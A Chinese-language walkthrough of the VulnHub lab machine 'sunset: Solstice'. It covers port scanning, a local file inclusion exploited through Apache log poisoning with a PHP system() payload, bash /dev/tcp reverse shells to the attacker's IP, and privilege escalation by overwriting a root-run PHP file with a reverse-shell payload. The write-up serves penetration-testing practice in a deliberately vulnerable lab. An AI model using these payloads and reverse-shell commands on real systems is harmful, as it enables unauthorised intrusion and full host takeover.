sunset:Solstice
https://www.vulnhub.com/entry/sunset-solstice,499/
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.244
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.244
1. FTP服务分析(21/tcp, 2121/tcp, 62524/tcp)
pyftpdlib 1.5.6 (21/tcp, 2121/tcp):
- 匿名登录允许(2121端口):尝试登录 ftp://192.168.23.244:2121 用户名为 anonymous,空密码。
- 检查 pub 目录:ls -al 查看权限和文件。若可写,可上传反向Shell或测试文件。
- 搜索漏洞:pyftpdlib 1.5.6 是否存在已知漏洞(如CVE-2021-30800)。
FreeFloat ftpd 1.00 (62524/tcp):
- 旧版本,可能存在缓冲区溢出漏洞(如CVE-2010-4221)。使用 searchsploit freefloat 查找EXP。
2. SSH服务分析(22/tcp)
OpenSSH 7.9p1:
- 检查版本是否有已知漏洞(如CVE-2021-41617),但该版本较新,可能已修复。
- 若获取凭证,可尝试登录。或通过其他服务(如FTP/SMB)泄露的凭证进行爆破。
3. SMTP服务分析(25/tcp)
Exim smtpd:
- 使用 smtp-user-enum 或手动命令枚举用户:
telnet 192.168.23.244 25
VRFY root # 测试是否存在用户 - 检查CVE-2019-15846(Exim 4.92.1以下远程代码执行),但需确认版本是否受影响。
4. HTTP服务分析(80/tcp, 8593/tcp, 54787/tcp)
Apache 2.4.38 (80/tcp):
- 访问 http://192.168.23.244,检查页面内容。
- 使用目录枚举工具:
gobuster dir -u http://192.168.23.244 -w /usr/share/wordlists/dirbuster/common.txt
PHP cli服务器 (8593/tcp, 54787/tcp):
- 访问 http://192.168.23.244:8593 和 http://192.168.23.244:54787,检查应用功能。
- 检查PHP版本漏洞(7.3.14),如反序列化、文件包含(?page=../../etc/passwd)。
5. SMB服务分析(139/tcp, 445/tcp)
Samba 4.9.5-Debian:
- 枚举共享和用户:
smbclient -L 192.168.23.244 -N
enum4linux -a 192.168.23.244 - 检查匿名访问共享:
smbclient \\\\192.168.23.244\\[sharename] -N - 测试CVE-2017-7494(Samba远程代码执行),但需配置允许写入共享。
6. Squid代理分析(3128/tcp)
Squid 4.6:
- 测试代理是否开放:
curl -x http://192.168.23.244:3128 Example Domain - 若可用,用于扫描内网或访问受限资源。
4,21端口的ftp服务器登录失败,登录2121端口的ftp服务器成功
ftp 192.168.23.244
ftp 192.168.23.244 2121
再看看web服务的几个端口
http://192.168.23.244/
http://192.168.23.244:8593/
http://192.168.23.244:54787/
5,经过测试这个网站存在本地文件包含漏洞
http://192.168.23.244:8593/index.php?book=../../../../../../etc/passwd
那么就需要把这个本地文件包含漏洞利用起来,然后getshell。正好能够包含
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log
使用nc污染日志
echo -e "GET / HTTP/1.1\r\nHost: 192.168.23.244\r\nUser-Agent: <?php system(\$_GET['cmd']); ?>\r\nConnection: close\r\n\r\n" | nc 192.168.23.244 80
访问文件包含网页确定漏洞是否利用成功
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&cmd=id
漏洞利用成功,成功执行了系统命令,接下来构造命令反弹shell(需要URL编码)
bash -c 'exec bash -i &>/dev/tcp/192.168.23.182/4444 <&1'
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/192.168.23.182/4444%20%3C%261%27%0A
使用kali接收来自靶机的shell
6,信息收集一下
uname -a
cat /etc/*-release
getconf LONG_BIT
搜索一下root用户可读可写的可执行文件
find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
查看一下这个文件
cat /var/tmp/sv/index.php
查看一下进程
ps -ef | grep "/var/tmp/sv"
发现有一个进程使用php解释器执行/var/tmp/sv,使用ehco写入木马构造恶意php文件
echo "<?php" > /var/tmp/sv/index.php && echo "echo \"Under construction\";" >> /var/tmp/sv/index.php && echo "exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/8888 0>&1'\");" >> /var/tmp/sv/index.php && echo "?>" >> /var/tmp/sv/index.php
cat /var/tmp/sv/index.php
靶机上通过nc访问运行这个进程的57端口,并请求/index.php文件
cd /tmp
curl localhost:57
然后kali开启对8888端口的监听
nc -lvvp 8888
成功提权成为root用户,拿到flag